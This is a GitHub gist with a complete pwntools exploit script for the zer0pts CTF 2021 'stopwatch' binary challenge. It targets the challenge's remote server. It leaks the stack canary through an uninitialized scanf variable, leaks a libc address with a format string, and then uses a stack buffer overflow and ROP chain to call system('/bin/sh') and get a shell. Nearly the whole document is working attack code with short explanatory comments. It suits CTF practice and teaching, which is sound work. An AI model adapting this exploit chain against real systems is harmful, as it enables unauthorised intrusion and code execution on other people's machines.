Skip to content

Instantly share code, notes, and snippets.

@farazsth98
Last active March 7, 2021 12:03
Show Gist options
  • Save farazsth98/79d60a5af3a5b3c680a6e106c81364df to your computer and use it in GitHub Desktop.
Save farazsth98/79d60a5af3a5b3c680a6e106c81364df to your computer and use it in GitHub Desktop.
zer0pts CTF 2021 - stopwatch
#!/usr/bin/env python3
from pwn import *
elf = ELF("./chall")
libc = ELF("./libc.so.6")
#p = process("./chall", env = {"LD_PRELOAD": "./libc.so.6"})
p = remote("pwn.ctf.zer0pts.com", 9002)
format_str = 0x602100
printf = elf.plt["printf"]
start = 0x0000000000400760
pop_rdi = 0x0000000000400e93
def double_to_hex(val):
return int.from_bytes(struct.pack("d", val), "little")
'''
Bug 1 - uninitialized variable usage in play_game(). |goal| can
be uninitialized if you enter `-` (which is a valid number
character for %lf). |delta| can be uninitialized if you
get the time perfectly equal.
Bug 2 - Buffer overflows in ask_again() and ask_name()
'''
# Put format string in name for leak later
p.sendlineafter("> ", "%3$p."*(0x88//5))
# Force alloca to move RSP up in such a way that later on, the |goal| variable
# in |play_game()| will be at the same stack location as a stack canary from
# another function
p.sendlineafter("> ", "16")
# In ask_time, the program uses scanf with %lf to read in the value for |goal|,
# we can pass in a "-". This is a valid "number" character for scanf, but
# because there is no number, scanf will not save anything at the memory
# address (but it will also not error out!). So at the end we will have |goal|
# remain uninitialized, and since it's overlapped with a canary, we can leak it
p.sendlineafter(": ", "-\n")
# We are told what the goal is (in float), so we just get the canary leaked
# here. Note that this doesn't always work. Particularly, it seems %lf has a
# hard time leaking some specific hex values (idk why and I didn't bother
# checking), so u might have to run the exploit a few times.
canary = double_to_hex(float(p.recvuntil("possible!\n").split(b" ")[6]))
log.info("Stack canary: " + hex(canary))
# We don't care about the time difference or anything
p.sendafter(".\n", "\n\n")
# There is a stack buffer overflow in |ask_again()|
# This time, since we have a format string stored in the global name variable,
# we just call |printf()| on it to get a leak. Note that the name variable
# starts at 0x6020a0, and 0x20 is a badchar for scanf. However, the variable
# is big enough to the point where it still continues to exist at 0x602100, so
# we just use that address for our leak (see |format_str| above in the script).
#
# Also, main's address has a badchar in it (0x0b), so we have to jump to start
payload = b"A"*24
payload += p64(canary)
payload += b"B"*8
payload += p64(pop_rdi)
payload += p64(format_str) # Our format string is here
payload += p64(pop_rdi+1) # Align the stack
payload += p64(printf)
payload += p64(start)
p.sendlineafter("n) ", payload)
# Get leak from the printf
p.recv(4)
leak = int(p.recvuntil(".")[:-1], 16)
libc.address = leak - 0x3ec560
system = libc.sym["system"]
bin_sh = next(libc.search(b"/bin/sh"))
log.info("Libc leak: " + hex(leak))
# |ask_name()| has the same buffer overflow as |ask_again()|, just get shell
payload = b"A"*136
payload += p64(canary)
payload += b"B"*8
payload += p64(pop_rdi)
payload += p64(bin_sh)
payload += p64(pop_rdi+1)
payload += p64(system)
p.sendlineafter("> ", payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment